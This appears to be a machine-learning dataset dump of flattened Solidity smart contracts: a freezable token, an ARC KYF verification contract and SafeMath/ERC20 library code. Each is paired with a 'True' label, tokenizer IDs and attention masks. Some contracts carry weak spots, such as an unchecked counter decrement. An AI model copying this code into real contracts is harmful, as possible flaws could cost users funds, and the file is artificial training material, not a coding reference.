* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2603,
1025,
1013,
1008,
1008,
8543,
1024,
14246,
2232,
1006,
10629,
8625,
2819,
1007,
1008,
1013,
1013,
1008,
1008,
10061,
19204,
6047,
3206,
1008,
1008,
1013,
1013,
1008,
1008,
3647,
8785,
6047,
3206,
1012,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2330,
4371,
27877,
2378,
1013,
22116,
1011,
5024,
3012,
1013,
1038,
4135,
2497,
1013,
3040,
1013,
8311,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
14017,
1008,
1013,
3206,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
3647,
4305,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
20865,
1006,
1038,
1028,
1014,
1007,
1025,
1013,
1013,
5024,
3012,
8073,
11618,
2043,
16023,
2011,
1014,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1013,
1038,
1025,
1013,
1013,
20865,
1006,
1037,
1027,
1027,
1038,
1008,
1039,
1009,
1037,
1003,
1038,
1007,
1025,
1013,
1013,
2045,
2003,
2053,
2553,
1999,
2029,
2023,
2987,
1004,
1001,
4464,
1025,
1056,
2907,
2709,
1039,
1025,
1065,
3853,
3647,
6342,
2497,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
20865,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
2709,
1037,
1011,
1038,
1025,
1065,
3853,
3647,
4215,
2094,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
20865,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
2709,
1039,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
9413,
2278,
1011,
2322,
3115,
19204,
8278,
1010,
2004,
4225,
1008,
1026,
1037,
17850,
12879,
1027,
1000,
8299,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1000,
1028,
2182,
1026,
1013,
1037,
1028,
1012,
1008,
1013,
3206,
19204,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
4425,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1025,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
14300,
1006,
4769,
1035,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
21447,
1006,
4769,
1035,
3954,
1010,
4769,
1035,
5247,
2121,
1007,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
3588,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2020-09-01
*/
/*
/ | __ / ____|
/ | |__) | | |
/ / | _ / | |
/ ____ | | | |____
/_/ _ |_| _ _____|
* ARC: global/KYFV2.sol
*
* Latest source (may be newer): https://github.com/arcxgame/contracts/blob/master/contracts/global/KYFV2.sol
*
* Contract Dependencies:
* - Context
* - IKYFV2
* - Ownable
* Libraries: (none)
*
* MIT License
* ===========
*
* Copyright (c) 2020 ARC
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
/* ===============================================
* Flattened with Solidifier by Coinage
*
* https://solidifier.coina.ge
* ===============================================
*/
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IKYFV2 {
function checkVerified(
address _user
)
external
view
returns (bool);
}
contract KYFV2 is Ownable, IKYFV2 {
address public verifier;
uint256 public count;
uint256 public hardCap;
mapping (address => bool) public isVerified;
event Verified (address _user, address _verified);
event Removed (address _user);
event VerifierSet (address _verifier);
event HardCapSet (uint256 _hardCap);
function checkVerified(
address _user
)
external
view
returns (bool)
{
return isVerified[_user];
}
function verify(
address _user,
uint8 _v,
bytes32 _r,
bytes32 _s
)
public
returns (bool)
{
require(
count < hardCap,
"Hard cap reached"
);
require(
isVerified[_user] == false,
"User has already been verified"
);
bytes32 sigHash = keccak256(
abi.encodePacked(
_user
)
);
bytes32 recoveryHash = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", sigHash)
);
address recoveredAddress = ecrecover(
recoveryHash,
_v,
_r,
_s
);
require(
recoveredAddress == verifier,
"Invalid signature"
);
isVerified[_user] = true;
count++;
emit Verified(_user, verifier);
}
function removeMultiple(
address[] memory _users
)
public
{
for (uint256 i = 0; i < _users.length; i++) {
remove(_users[i]);
}
}
function remove(
address _user
)
public
onlyOwner
{
delete isVerified[_user];
count--;
emit Removed(_user);
}
function setVerifier(
address _verifier
)
public
onlyOwner
{
verifier = _verifier;
emit VerifierSet(_verifier);
}
function setHardCap(
uint256 _hardCap
)
public
onlyOwner
{
hardCap = _hardCap;
emit HardCapSet(_hardCap);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
12609,
1011,
5641,
1011,
5890,
1008,
1013,
1013,
1008,
1013,
1064,
1035,
1035,
1013,
1035,
1035,
1035,
1035,
1064,
1013,
1064,
1064,
1035,
1035,
1007,
1064,
1064,
1064,
1013,
1013,
1064,
1035,
1013,
1064,
1064,
1013,
1035,
1035,
1035,
1035,
1064,
1064,
1064,
1064,
1035,
1035,
1035,
1035,
1013,
1035,
1013,
1035,
1064,
1035,
1064,
1035,
1035,
1035,
1035,
1035,
1035,
1064,
1008,
8115,
1024,
3795,
1013,
18712,
2546,
2615,
2475,
1012,
14017,
1008,
1008,
6745,
3120,
1006,
2089,
2022,
10947,
1007,
1024,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
8115,
2595,
16650,
1013,
8311,
1013,
1038,
4135,
2497,
1013,
3040,
1013,
8311,
1013,
3795,
1013,
18712,
2546,
2615,
2475,
1012,
14017,
1008,
1008,
3206,
12530,
15266,
1024,
1008,
1011,
6123,
1008,
1011,
20912,
2100,
2546,
2615,
2475,
1008,
1011,
2219,
3085,
1008,
8860,
1024,
1006,
3904,
1007,
1008,
1008,
10210,
6105,
1008,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1008,
1008,
9385,
1006,
1039,
1007,
12609,
8115,
1008,
1008,
6656,
2003,
2182,
3762,
4379,
1010,
2489,
1997,
3715,
1010,
2000,
2151,
2711,
11381,
1037,
6100,
1008,
1997,
2023,
4007,
1998,
3378,
12653,
6764,
1006,
1996,
1000,
4007,
1000,
1007,
1010,
2000,
3066,
1008,
1999,
1996,
4007,
2302,
16840,
1010,
2164,
2302,
22718,
1996,
2916,
1008,
2000,
2224,
1010,
6100,
1010,
19933,
1010,
13590,
1010,
10172,
1010,
16062,
1010,
4942,
13231,
12325,
1010,
1998,
1013,
2030,
5271,
1008,
4809,
1997,
1996,
4007,
1010,
1998,
2000,
9146,
5381,
2000,
3183,
1996,
4007,
2003,
1008,
19851,
2000,
2079,
2061,
1010,
3395,
2000,
1996,
2206,
3785,
1024,
1008,
1008,
1996,
2682,
9385,
5060,
1998,
2023,
6656,
5060,
4618,
2022,
2443,
1999,
2035,
1008,
4809,
2030,
6937,
8810,
1997,
1996,
4007,
1012,
1008,
1008,
1996,
4007,
2003,
3024,
1000,
2004,
2003,
1000,
1010,
2302,
10943,
2100,
1997,
2151,
2785,
1010,
4671,
2030,
1008,
13339,
1010,
2164,
2021,
2025,
3132,
2000,
1996,
10943,
3111,
1997,
6432,
8010,
1010,
1008,
10516,
2005,
1037,
3327,
3800,
1998,
2512,
2378,
19699,
23496,
3672,
1012,
1999,
2053,
2724,
4618,
1996,
1008,
6048,
2030,
9385,
13304,
2022,
20090,
2005,
2151,
4366,
1010,
12394,
2030,
2060,
1008,
14000,
1010,
3251,
1999,
2019,
2895,
1997,
3206,
1010,
17153,
2102,
2030,
4728,
1010,
17707,
2013,
1010,
1008,
2041,
1997,
2030,
1999,
4434,
2007,
1996,
4007,
2030,
1996,
2224,
2030,
2060,
24069,
1999,
1996,
1008,
1013,
1013,
1008,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1008,
16379,
2007,
5024,
18095,
2011,
25396,
1008,
1008,
16770,
1024,
1013,
1013,
5024,
18095,
1012,
9226,
2050,
1012,
16216,
1008,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.6.2;
// SPDX-License-Identifier: MIT
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
// File: contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
